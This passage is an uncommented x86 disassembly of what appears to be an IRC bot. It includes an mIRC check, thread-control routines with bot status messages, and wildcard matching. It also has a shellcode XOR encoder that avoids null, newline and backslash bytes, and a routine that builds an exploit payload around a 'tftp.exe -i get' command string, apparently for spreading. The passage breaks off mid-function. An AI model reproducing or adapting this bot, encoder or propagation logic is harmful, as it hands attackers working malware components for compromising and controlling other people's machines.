; Attributes: bp-based frame
sub_40A44E proc near ; CODE XREF: sub_40A4F6+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
call dword_4F1364 ; GetTickCount
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
mov esi, eax
cmp esi, 64h
jbe short loc_40A49D
push offset aMirc_0 ; "mIRC"
call dword_4E08AC
test eax, eax
mov eax, offset aM_0 ; "[M]"
jnz short loc_40A486
mov eax, offset dword_4E09EC
loc_40A486: ; CODE XREF: sub_40A44E+31j
push eax
push esi
push offset aDS ; "[%d]%s"
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41B910
add esp, 14h
jmp short loc_40A4C2
; ---------------------------------------------------------------------------
loc_40A49D: ; CODE XREF: sub_40A44E+1Dj
push offset aMirc_1 ; "mIRC"
call dword_4E08AC
test eax, eax
mov eax, offset aM_1 ; "[M]"
jnz short loc_40A4B6
mov eax, offset dword_4E09F0
loc_40A4B6: ; CODE XREF: sub_40A44E+61j
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41B740
pop ecx
pop ecx
loc_40A4C2: ; CODE XREF: sub_40A44E+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_418D00
pop ecx
cmp eax, 2
pop esi
jbe short loc_40A4F1
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C7A0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41B1F0
add esp, 18h
loc_40A4F1: ; CODE XREF: sub_40A44E+82j
mov eax, [ebp+arg_0]
leave
retn
sub_40A44E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A4F6 proc near ; CODE XREF: sub_4019E1+7Fp
; sub_401B49+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_4453D4
loc_40A502: ; CODE XREF: sub_40A4F6+3Fj
cmp [ebp+arg_C], 0
jz short loc_40A51D
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C4C0
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40A527
; ---------------------------------------------------------------------------
loc_40A51D: ; CODE XREF: sub_40A4F6+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40A527: ; CODE XREF: sub_40A4F6+25j
test eax, eax
jnz short loc_40A539
add esi, 14h
inc edi
cmp esi, offset off_44544C
jl short loc_40A502
jmp short loc_40A547
; ---------------------------------------------------------------------------
loc_40A539: ; CODE XREF: sub_40A4F6+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_4453D8[eax*4]
pop ecx
loc_40A547: ; CODE XREF: sub_40A4F6+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40A55A
push [ebp+arg_0]
call sub_40A44E
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40A55A: ; CODE XREF: sub_40A4F6+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40A4F6 endp
; =============== S U B R O U T I N E =======================================
sub_40A55F proc near ; CODE XREF: sub_40A57F+Ap
; sub_40A657+8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_418D00
push [esp+8+arg_4]
mov esi, eax
call sub_418D00
pop ecx
lea eax, [esi+eax*2+0C1h]
pop ecx
pop esi
retn
sub_40A55F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A57F proc near ; CODE XREF: .nsp0:0040A6B7p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push [ebp+arg_C]
push [ebp+arg_8]
call sub_40A55F
cmp eax, [ebp+arg_4]
pop ecx
pop ecx
mov [ebp+var_4], eax
jbe short loc_40A59C
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_40A59C: ; CODE XREF: sub_40A57F+17j
push ebx
push esi
push edi
push [ebp+arg_8]
call sub_418D00
push [ebp+arg_C]
mov esi, eax
call sub_418D00
mov edi, eax
mov ebx, [ebp+arg_0]
push 0FFFFFFEDh
lea eax, [edi+esi+12h]
mov dword_4491C4, eax
lea eax, [edi+1]
mov dword_4491E5, eax
lea eax, [edi+17h]
mov dword_4491DD, eax
pop eax
push 74h
sub eax, edi
push offset dword_449160
push ebx
mov dword_4491F3, eax
call near ptr sub_41C8D0
push esi
lea eax, [ebx+74h]
push [ebp+arg_8]
push eax
call near ptr sub_41C8D0
add esi, 74h
push 5
push (offset aTftp_exeIGet+0Ch)
lea eax, [esi+ebx]
push eax
call near ptr sub_41C8D0
add esi, 5
push edi
push [ebp+arg_C]
lea eax, [esi+ebx]
push eax
call near ptr sub_41C8D0
add esi, edi
push 10h
push (offset aTftp_exeIGet+11h)
lea eax, [esi+ebx]
push eax
call near ptr sub_41C8D0
add esp, 44h
add esi, 10h
push edi
lea eax, [esi+ebx]
push [ebp+arg_C]
push eax
call near ptr sub_41C8D0
add esi, edi
push 38h
add esi, ebx
push offset byte_4491E9
push esi
call near ptr sub_41C8D0
mov eax, [ebp+var_4]
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40A57F endp
; =============== S U B R O U T I N E =======================================
sub_40A657 proc near ; CODE XREF: .nsp0:0040A67Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_40A55F
push eax
call sub_40A6DB
add esp, 0Ch
retn
sub_40A657 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+10h]
push edi
mov edi, [ebp+14h]
push edi
push ebx
call sub_40A657
cmp eax, [ebp+0Ch]
pop ecx
pop ecx
ja short loc_40A68E
cmp eax, 0FFFFh
jbe short loc_40A692
loc_40A68E: ; CODE XREF: .nsp0:0040A685j
xor eax, eax
jmp short loc_40A6D7
; ---------------------------------------------------------------------------
loc_40A692: ; CODE XREF: .nsp0:0040A68Cj
push esi
push edi
push ebx
call sub_40A55F
add eax, 101h
push eax
call sub_418ED0
add esp, 0Ch
mov esi, eax
push edi
push ebx
push edi
push ebx
call sub_40A55F
pop ecx
pop ecx
push eax
push esi
call sub_40A57F
push eax
push esi
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40A6F6
push esi
mov edi, eax
call sub_419940
add esp, 24h
mov eax, edi
pop esi
loc_40A6D7: ; CODE XREF: .nsp0:0040A690j
pop edi
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_40A6DB proc near ; CODE XREF: sub_40A657+Ep
; sub_40A6F6+4Ap
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test cl, cl
jnz short loc_40A6E4
inc ecx
loc_40A6E4: ; CODE XREF: sub_40A6DB+6j
mov eax, 0FFh
cmp eax, ecx
sbb eax, eax
and eax, 2
add eax, 15h
add eax, ecx
retn
sub_40A6DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A6F6 proc near ; CODE XREF: .nsp0:0040A6C4p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
cmp byte ptr [ebp+arg_C], 0Ah
jz short loc_40A712
cmp byte ptr [ebp+arg_C], 0Dh
jz short loc_40A712
cmp byte ptr [ebp+arg_C], 5Ch
jz short loc_40A712
cmp byte ptr [ebp+arg_C], 0
jnz short loc_40A715
loc_40A712: ; CODE XREF: sub_40A6F6+8j
; sub_40A6F6+Ej ...
inc [ebp+arg_C]
loc_40A715: ; CODE XREF: sub_40A6F6+1Aj
push esi
mov esi, 0FFh
cmp [ebp+arg_C], esi
jbe short loc_40A73D
mov eax, [ebp+arg_C]
shr eax, 8
cmp al, 0Ah
jz short loc_40A736
cmp al, 0Dh
jz short loc_40A736
cmp al, 5Ch
jz short loc_40A736
test al, al
jnz short loc_40A73D
loc_40A736: ; CODE XREF: sub_40A6F6+32j
; sub_40A6F6+36j ...
add [ebp+arg_C], 100h
loc_40A73D: ; CODE XREF: sub_40A6F6+28j
; sub_40A6F6+3Ej
push [ebp+arg_C]
call sub_40A6DB
cmp eax, [ebp+arg_4]
pop ecx
mov [ebp+var_4], eax
ja short loc_40A755
cmp eax, 0FFFFh
jbe short loc_40A75C
loc_40A755: ; CODE XREF: sub_40A6F6+56j
xor eax, eax
jmp loc_40A7FA
; ---------------------------------------------------------------------------
loc_40A75C: ; CODE XREF: sub_40A6F6+5Dj
mov ecx, [ebp+arg_C]
push ebx
mov bl, byte_4E09F4
xor edx, edx
push edi
mov edi, [ebp+arg_8]
test ecx, ecx
jbe short loc_40A78C
loc_40A770: ; CODE XREF: sub_40A6F6+94j
mov al, [edx+edi]
xor al, bl
jz short loc_40A783
cmp al, 0Ah
jz short loc_40A783
cmp al, 0Dh
jz short loc_40A783
cmp al, 5Ch
jnz short loc_40A787
loc_40A783: ; CODE XREF: sub_40A6F6+7Fj
; sub_40A6F6+83j ...
inc bl
xor edx, edx
loc_40A787: ; CODE XREF: sub_40A6F6+8Bj
inc edx
cmp edx, ecx
jb short loc_40A770
loc_40A78C: ; CODE XREF: sub_40A6F6+78j
cmp ecx, esi
mov byte_4E09F4, bl
ja short loc_40A7B8
push 15h
push offset loc_449148
push [ebp+arg_0]
mov byte_449155, cl
mov byte_449159, bl
call near ptr sub_41C8D0
add esp, 0Ch
push 15h
jmp short loc_40A7D9
; ---------------------------------------------------------------------------
loc_40A7B8: ; CODE XREF: sub_40A6F6+9Ej
push 17h
push offset loc_449130
push [ebp+arg_0]
mov word_44913E, cx
mov byte_449143, bl
call near ptr sub_41C8D0
add esp, 0Ch
push 17h
loc_40A7D9: ; CODE XREF: sub_40A6F6+C0j
xor eax, eax
pop ecx
cmp [ebp+arg_C], eax
jbe short loc_40A7F5
mov edx, [ebp+arg_0]
lea esi, [ecx+edx]
loc_40A7E7: ; CODE XREF: sub_40A6F6+FDj
mov cl, [eax+edi]
xor cl, bl
mov [esi+eax], cl
inc eax
cmp eax, [ebp+arg_C]
jb short loc_40A7E7
loc_40A7F5: ; CODE XREF: sub_40A6F6+E9j
mov eax, [ebp+var_4]
pop edi
pop ebx
loc_40A7FA: ; CODE XREF: sub_40A6F6+61j
pop esi
leave
retn
sub_40A6F6 endp
; =============== S U B R O U T I N E =======================================
sub_40A7FD proc near ; CODE XREF: sub_40141B+375p
; sub_40141B+3B1p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_4535C8
loc_40A805: ; CODE XREF: sub_40A7FD+18j
cmp byte ptr [eax], 0
jz short loc_40A819
add eax, 234h
inc edi
cmp eax, offset dword_4E05C8
jl short loc_40A805
jmp short loc_40A864
; ---------------------------------------------------------------------------
loc_40A819: ; CODE XREF: sub_40A7FD+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_4535C8[esi]
push eax
call sub_41B1F0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_4537C8[esi], eax
and dword_4537CC[esi], 0
mov eax, [esp+8+arg_8]
and dword_4537D0[esi], 0
mov dword_4537D4[esi], eax
and byte_4537E0[esi], 0
pop esi
loc_40A864: ; CODE XREF: sub_40A7FD+1Aj
mov eax, edi
pop edi
retn
sub_40A7FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A868 proc near ; DATA XREF: sub_401CC1+24C3o
var_98 = dword ptr -98h
var_94 = byte ptr -94h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 98h
mov eax, [ebp+arg_0]
push esi
push edi
push 26h
pop ecx
mov esi, eax
lea edi, [ebp+var_98]
rep movsd
push [ebp+var_10]
mov dword ptr [eax+94h], 1
lea eax, [ebp+var_94]
push [ebp+var_C]
push eax
push [ebp+var_98]
call sub_40A8BA
push [ebp+var_14]
call sub_40AB19
add esp, 14h
push 0
call dword_4F1388 ; ExitThread
pop edi
pop esi
sub_40A868 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A8BA proc near ; CODE XREF: sub_40A868+38p
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 200h
push esi
push edi
push 0
push [ebp+arg_8]
push offset dword_449224
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
xor edi, edi
mov esi, offset dword_4535C8
loc_40A8E4: ; CODE XREF: sub_40A8BA+78j
cmp byte ptr [esi], 0
jz short loc_40A925
cmp [ebp+arg_C], 0
jnz short loc_40A8F8
cmp dword ptr [esi+204h], 0
jnz short loc_40A925
loc_40A8F8: ; CODE XREF: sub_40A8BA+33j
push esi
push edi
lea eax, [ebp+var_200]
push offset dword_449238
push eax
call sub_41B740
push 1
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 24h
loc_40A925: ; CODE XREF: sub_40A8BA+2Dj
; sub_40A8BA+3Cj
add esi, 234h
inc edi
cmp esi, offset dword_4E05C8
jl short loc_40A8E4
pop edi
pop esi
leave
retn
sub_40A8BA endp
; =============== S U B R O U T I N E =======================================
sub_40A938 proc near ; CODE XREF: sub_401CC1+6E28p
; sub_40A9C6+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40A9C0
cmp esi, 400h
jge short loc_40A9C0
imul esi, 234h
push edi
push ebx
push dword_4537DC[esi]
lea edi, dword_4537DC[esi]
call dword_4F1368 ; TerminateThread
cmp [edi], ebx
jz short loc_40A970
push 1
pop ebp
loc_40A970: ; CODE XREF: sub_40A938+33j
mov [edi], ebx
lea edi, dword_4537D0[esi]
mov dword_4537C8[esi], ebx
mov dword_4537CC[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40A991
push eax
call sub_4178FE
pop ecx
loc_40A991: ; CODE XREF: sub_40A938+50j
mov [edi], ebx
lea edi, dword_4537D4[esi]
mov byte ptr dword_4535C8[esi], bl
mov byte_4537E0[esi], bl
push dword ptr [edi]
call dword_4E0934
lea esi, dword_4537D8[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4E0934
mov [esi], ebx
pop edi
loc_40A9C0: ; CODE XREF: sub_40A938+Dj
; sub_40A938+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40A938 endp
; =============== S U B R O U T I N E =======================================
sub_40A9C6 proc near ; CODE XREF: sub_401317+18p
; sub_40141B:loc_4019CDp ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_4535C8
loc_40A9D2: ; CODE XREF: sub_40A9C6+2Aj
cmp byte ptr [esi], 0
jz short loc_40A9E3
push edi
call sub_40A938
test eax, eax
pop ecx
jz short loc_40A9E3
inc ebx
loc_40A9E3: ; CODE XREF: sub_40A9C6+Fj
; sub_40A9C6+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4E05C8
jl short loc_40A9D2
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40A9C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40A9F8 proc near ; CODE XREF: sub_401CC1+3BD8p
; sub_401CC1+3CABp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_4537CC
loc_40AA0C: ; CODE XREF: sub_40A9F8+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40AA2E
test edi, edi
jle short loc_40AA20
cmp [esi], edi
jz short loc_40AA20
cmp ebx, edi
jnz short loc_40AA2E
loc_40AA20: ; CODE XREF: sub_40A9F8+1Ej
; sub_40A9F8+22j
push ebx
call sub_40A938
test eax, eax
pop ecx
jz short loc_40AA2E
inc [ebp+var_4]
loc_40AA2E: ; CODE XREF: sub_40A9F8+1Aj
; sub_40A9F8+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4E07CC
jl short loc_40AA0C
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40A9F8 endp
; =============== S U B R O U T I N E =======================================
sub_40AA45 proc near ; CODE XREF: sub_40141B+409p
; sub_401CC1+187Fp ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_4537C8
loc_40AA4C: ; CODE XREF: sub_40AA45+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40AA55
inc eax
loc_40AA55: ; CODE XREF: sub_40AA45+Dj
add ecx, 234h
cmp ecx, offset dword_4E07C8
jl short loc_40AA4C
retn
sub_40AA45 endp
; =============== S U B R O U T I N E =======================================
sub_40AA64 proc near ; CODE XREF: sub_401CC1+1F68p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_4537C8
loc_40AA6E: ; CODE XREF: sub_40AA64+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40AA87
add ecx, 234h
inc edx
cmp ecx, offset dword_4E07C8
jl short loc_40AA6E
pop esi
retn
; ---------------------------------------------------------------------------
loc_40AA87: ; CODE XREF: sub_40AA64+10j
mov eax, edx
pop esi
retn
sub_40AA64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AA8B proc near ; CODE XREF: sub_401CC1+D33p
; sub_401CC1+F39p ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40AAA4
push [ebp+arg_1C]
call sub_41B3F0
pop ecx
loc_40AAA4: ; CODE XREF: sub_40AA8B+Ej
push eax
push [ebp+arg_18]
call sub_40A9F8
pop ecx
test eax, eax
pop ecx
jle short loc_40AAD0
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41B740
add esp, 14h
jmp short loc_40AAEA
; ---------------------------------------------------------------------------
loc_40AAD0: ; CODE XREF: sub_40AA8B+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41B740
add esp, 10h
loc_40AAEA: ; CODE XREF: sub_40AA8B+43j
cmp [ebp+arg_C], 0
jnz short loc_40AB0A
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408EB9
add esp, 14h
loc_40AB0A: ; CODE XREF: sub_40AA8B+63j
lea eax, [ebp+var_200]
push eax
call sub_41458A
pop ecx
leave
retn
sub_40AA8B endp
; =============== S U B R O U T I N E =======================================
sub_40AB19 proc near ; CODE XREF: sub_4019E1+159p
; sub_40A868+40p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_4537DC[eax], ecx
mov dword_4537C8[eax], ecx
mov dword_4537CC[eax], ecx
mov dword_4537D0[eax], ecx
mov dword_4537D4[eax], ecx
mov dword_4537D8[eax], ecx
mov byte ptr dword_4535C8[eax], cl
mov byte_4537E0[eax], cl
retn
sub_40AB19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB56 proc near ; CODE XREF: sub_401CC1+709Dp
; sub_40AC84+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40AB60: ; CODE XREF: sub_40AB56+68j
mov cl, [esi]
test cl, cl
jz short loc_40ABC0
cmp eax, 1
jnz short loc_40ABC0
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40ABC0
cmp cl, 2Ah
jz short loc_40ABA7
cmp cl, 3Fh
jz short loc_40AB8A
cmp cl, 5Bh
jz short loc_40AB8F
xor eax, eax
cmp cl, dl
setz al
loc_40AB8A: ; CODE XREF: sub_40AB56+26j
inc [ebp+arg_4]
jmp short loc_40ABBA
; ---------------------------------------------------------------------------
loc_40AB8F: ; CODE XREF: sub_40AB56+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40ABEC
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40ABBA
; ---------------------------------------------------------------------------
loc_40ABA7: ; CODE XREF: sub_40AB56+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40AC84
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40ABBA: ; CODE XREF: sub_40AB56+37j
; sub_40AB56+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40AB60
; ---------------------------------------------------------------------------
loc_40ABC0: ; CODE XREF: sub_40AB56+Ej
; sub_40AB56+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40ABD0
cmp eax, 1
jnz short loc_40ABE7
inc esi
mov [ebp+arg_0], esi
jmp short loc_40ABC0
; ---------------------------------------------------------------------------
loc_40ABD0: ; CODE XREF: sub_40AB56+6Dj
cmp eax, 1
jnz short loc_40ABE7
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jnz short loc_40ABE7
cmp byte ptr [esi], 0
jnz short loc_40ABE7
push 1
pop eax
jmp short loc_40ABE9
; ---------------------------------------------------------------------------
loc_40ABE7: ; CODE XREF: sub_40AB56+72j
; sub_40AB56+7Dj ...
xor eax, eax
loc_40ABE9: ; CODE XREF: sub_40AB56+8Fj
pop esi
pop ebp
retn
sub_40AB56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40ABEC proc near ; CODE XREF: sub_40AB56+45p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
mov edx, [ebp+arg_0]
push edi
xor edi, edi
push 1
mov ecx, [edx]
and [ebp+var_8], edi
pop eax
cmp byte ptr [ecx], 21h
mov [ebp+var_4], eax
jnz short loc_40AC0D
inc ecx
mov [ebp+var_8], eax
mov [edx], ecx
loc_40AC0D: ; CODE XREF: sub_40ABEC+19j
push ebx
push esi
loc_40AC0F: ; CODE XREF: sub_40ABEC+7Bj
mov ecx, [edx]
mov bl, [ecx]
cmp bl, 5Dh
jnz short loc_40AC1D
cmp [ebp+var_4], eax
jnz short loc_40AC69
loc_40AC1D: ; CODE XREF: sub_40ABEC+2Aj
test edi, edi
jnz short loc_40AC5E
cmp bl, 2Dh
jnz short loc_40AC52
mov al, [ecx+1]
lea esi, [ecx+1]
mov cl, [ecx-1]
cmp cl, al
jge short loc_40AC52
cmp al, 5Dh
jz short loc_40AC52
cmp [ebp+var_4], edi
jnz short loc_40AC52
mov ebx, [ebp+arg_4]
mov ebx, [ebx]
mov bl, [ebx]
cmp bl, cl
jl short loc_40AC5E
cmp bl, al
jg short loc_40AC5E
push 1
mov [edx], esi
pop edi
jmp short loc_40AC5E
; ---------------------------------------------------------------------------
loc_40AC52: ; CODE XREF: sub_40ABEC+38j
; sub_40ABEC+45j ...
mov eax, [ebp+arg_4]
mov eax, [eax]
cmp bl, [eax]
jnz short loc_40AC5E
push 1
pop edi
loc_40AC5E: ; CODE XREF: sub_40ABEC+33j
; sub_40ABEC+59j ...
inc dword ptr [edx]
and [ebp+var_4], 0
push 1
pop eax
jmp short loc_40AC0F
; ---------------------------------------------------------------------------
loc_40AC69: ; CODE XREF: sub_40ABEC+2Fj
cmp [ebp+var_8], eax
pop esi
pop ebx
jnz short loc_40AC76
mov ecx, eax
sub ecx, edi
mov edi, ecx
loc_40AC76: ; CODE XREF: sub_40ABEC+82j
cmp edi, eax
jnz short loc_40AC7F
mov eax, [ebp+arg_4]
inc dword ptr [eax]
loc_40AC7F: ; CODE XREF: sub_40ABEC+8Cj
mov eax, edi
pop edi
leave
retn
sub_40ABEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC84 proc near ; CODE XREF: sub_40AB56+59p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], 1
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
xor ebx, ebx
loc_40ACA0: ; CODE XREF: sub_40AC84+3Aj
cmp [eax], bl
jz short loc_40ACC0
mov cl, [ecx]
cmp cl, 3Fh
jz short loc_40ACB5
cmp cl, 2Ah
jnz short loc_40ACC0
cmp cl, 3Fh
jnz short loc_40ACB8
loc_40ACB5: ; CODE XREF: sub_40AC84+25j
inc eax
mov [edi], eax
loc_40ACB8: ; CODE XREF: sub_40AC84+2Fj
inc dword ptr [esi]
mov ecx, [esi]
mov eax, [edi]
jmp short loc_40ACA0
; ---------------------------------------------------------------------------
loc_40ACC0: ; CODE XREF: sub_40AC84+1Ej
; sub_40AC84+2Aj ...
mov eax, [esi]
cmp byte ptr [eax], 2Ah
jnz short loc_40ACCB
inc dword ptr [esi]
jmp short loc_40ACC0
; ---------------------------------------------------------------------------
loc_40ACCB: ; CODE XREF: sub_40AC84+41j
mov eax, [edi]
mov cl, [eax]
cmp cl, bl
jnz short loc_40ACEC
mov edx, [esi]
cmp [edx], bl
jz short loc_40ACDD
xor eax, eax
jmp short loc_40AD4C
; ---------------------------------------------------------------------------
loc_40ACDD: ; CODE XREF: sub_40AC84+53j
cmp cl, bl
jnz short loc_40ACEC
mov ecx, [esi]
cmp [ecx], bl
jnz short loc_40ACEC
push 1
pop eax
jmp short loc_40AD4C
; ---------------------------------------------------------------------------
loc_40ACEC: ; CODE XREF: sub_40AC84+4Dj
; sub_40AC84+5Bj ...
push eax
push dword ptr [esi]
call sub_40AB56
pop ecx
test eax, eax
pop ecx
jnz short loc_40AD36
loc_40ACFA: ; CODE XREF: sub_40AC84+B0j
inc dword ptr [edi]
mov eax, [edi]
loc_40ACFE: ; CODE XREF: sub_40AC84+90j
mov ecx, [esi]
mov dl, [eax]
mov cl, [ecx]
cmp cl, dl
jz short loc_40AD16
cmp cl, 5Bh
jz short loc_40AD16
cmp dl, bl
jz short loc_40AD16
inc eax
mov [edi], eax
jmp short loc_40ACFE
; ---------------------------------------------------------------------------
loc_40AD16: ; CODE XREF: sub_40AC84+82j
; sub_40AC84+87j ...
mov eax, [edi]
cmp [eax], bl
jz short loc_40AD2D
push eax
push dword ptr [esi]
call sub_40AB56
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40AD32
; ---------------------------------------------------------------------------
loc_40AD2D: ; CODE XREF: sub_40AC84+96j
mov [ebp+var_4], ebx
xor eax, eax
loc_40AD32: ; CODE XREF: sub_40AC84+A7j
cmp eax, ebx
jnz short loc_40ACFA
loc_40AD36: ; CODE XREF: sub_40AC84+74j
mov eax, [edi]
cmp [eax], bl
jnz short loc_40AD49
mov eax, [esi]
cmp [eax], bl
jnz short loc_40AD49
mov [ebp+var_4], 1
loc_40AD49: ; CODE XREF: sub_40AC84+B6j
; sub_40AC84+BCj
mov eax, [ebp+var_4]
loc_40AD4C: ; CODE XREF: sub_40AC84+57j
; sub_40AC84+66j
pop edi
pop esi
pop ebx
leave
retn
sub_40AC84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AD51 proc near ; CODE XREF: sub_401CC1+2668p
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 400h
push ebx
push edi
lea eax, [ebp+var_200]
push offset unk_449624
push eax
xor ebx, ebx
call sub_41B740
cmp dword_4492A8, ebx
pop ecx
pop ecx
mov edi, 200h
jz short loc_40ADC3
push esi
mov esi, offset dword_4492B0
loc_40AD84: ; CODE XREF: sub_40AD51+6Fj
mov eax, [esi]
test eax, eax
jbe short loc_40ADB9
add ebx, eax
push eax
lea eax, [esi-26h]
push eax
lea eax, [ebp+var_400]
push offset dword_449644
push eax
call sub_41B740
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
call sub_41C7A0
add esp, 1Ch
loc_40ADB9: ; CODE XREF: sub_40AD51+37j
add esi, 40h
cmp dword ptr [esi-8], 0
jnz short loc_40AD84
pop esi
loc_40ADC3: ; CODE XREF: sub_40AD51+2Bj
push dword_4E05CC
call sub_4187BE
push eax
push ebx
lea eax, [ebp+var_400]
push offset aTotalDInS_ ; " Total: %d in %s."
push eax
call sub_41B740
lea eax, [ebp+var_400]
push edi
push eax
lea eax, [ebp+var_200]
push eax
